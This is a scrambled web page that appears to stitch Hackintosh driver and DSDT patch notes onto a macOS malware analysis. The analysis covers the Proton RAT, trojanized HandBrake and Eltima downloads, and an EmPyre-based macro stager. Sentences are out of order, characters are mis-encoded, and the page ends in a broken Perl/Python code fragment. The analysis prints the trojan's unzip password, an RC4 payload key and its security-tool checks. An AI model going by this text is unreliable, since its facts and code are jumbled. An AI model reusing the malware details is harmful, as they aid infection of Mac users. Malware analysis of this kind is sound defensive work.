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ALC889A, Gigabyte (Intel), AppleHDA works nVidia built-in HDMI audio and some ATI brands.

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Slow Sata Issue Fix, How to fix HPET IRQ conflict that cause that

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DSDT: trick retail drivers by changing "device-id" (e.g USB), Fix sleep issues of ICH9/-R faking ICH10-R The app with on-line patches database is discontinued.Ĭurrent Auto-Patcher release and latest patches

unzips Contents/Resources/HBPlayerHUDMainController.nib to /tmp/HandBrake.appâ€¨.I'm no longer maintaining the patches for Auto-Patcher.

More details on this can be found in MalwareByte's blog post titled, "OSX.Proton spreading through fake Symantec blog":īinary=/Volumes/HandBrake/HandBrake.app/Contents/MacOS/HandBrakeĪrgs: "-P", "qzyuzacCELFEYiJ52mhjEC7HYl4eUPAR1EEf63oQ5iTkuNIhzRk2JUKF4IXTRdiQ", "/Volumes/HandBrake/HandBrake.app/Contents/Resources/HBPlayerHUDMainController.nib", "-d", "/tmp"įrom this ProcInfo output, we can see that the infected Handbrake application: As discovered by for this variant the attackers created a fake website that attempted to masquerade as a Symantec blog: The final variant of Proton seen in 2017, variant 'D' targeted Mac users in a less elegant way. Luckily (now) the certificate is now revoked: It should be noted that for this variant, the attacker's signed the trojanized applications with a 'valid' Apple developer ID, meaning macOS malware mitigations such as Gatekeeper would be 'bypassed' (well, more specifically, avoided). Specifically the attacker gained unauthorized access to 'Eltima' and trojanizing several applications. Variant 'C' of Proton propagated in a similar way. You have 50/50 chance if you've downloaded HandBrake during this period.

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Once the Handbrake developer's detected (or where alerted about) the infection, the following 'security alert' was added to the site:Īnyone who has downloaded HandBrake on Mac between and needs to verify the SHA1 / 256 sum of the file before running it.Īnyone who has installed HandBrake for Mac needs to verify their system is not infected with a Trojan. In order to propagate Proton variant 'B', a mirror server of the popular open-source video transcoder, HandBrake, was hacked. This rather insidious attack (often referred to as a "supply-chain attack"), can successfully infect even security-conscious macOS users! From that point on, users who downloaded the (now infected) application from the legitimate developer's website would become infected once the application was executed. Then with such access, they trojaned the legitimate application - infecting it with Proton.

First the attackers gained unauthorized access to a legitimate 3 rd-party application developer's website. Proton variant 'B' and 'C' both utilized an interesting attack vector in order to infect macOS users.

While I am unaware of variant A's infection mechanism, the other variant's methods of infections are described below. In 2017, we saw 4 variants of Proton: A-D. the purchaser) is responsible for the vector. And in terms of infection, this generally means a 2 nd party (i.e. Though malware offered for sale ('malware as a service') is fairly common for in the Windows world, it's less common for macOS malware. The author offered this product in one of the leading underground cybercrime markets."

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The author of the thread announced a RAT dubbed Proton, intended for installation exclusively on MAC OS devices. " encountered a post in one of the leading, closed Russian cybercrime message boards. This 2 nd-stage component of Empyre is the persistent agent, that once installed will complete the infection and affords a remote attacker continuing access to an infected host.

However, this file was likely just the second-stage component of Empyre (though yes, the attackers could of course download and executed something else). Unfortunately this file is now inaccessible.

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Specifically the lib/common/stagers.py file:ĮmPyre is a "pure Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture." Ok, so the attackers are using an open-source multi-stage post-exploitation agent.Īs mentioned above, the goal of the first stage python code is to download and execute a second stage component from.

RC4 decrypts this payload (key: fff96aed07cb7ea65e7f031bd714607d)ĭoes python code look familiar? Yes! It's taken, almost verbatim from the open-source EmPyre project.

checks to make sure LittleSnitch is not running.

The decoded python contained in the auto-run macro, is pretty simple to read. Use strict use warnings use IO::Socket use IPC::Open2 my$l sub G], fromlist = ).build_opener()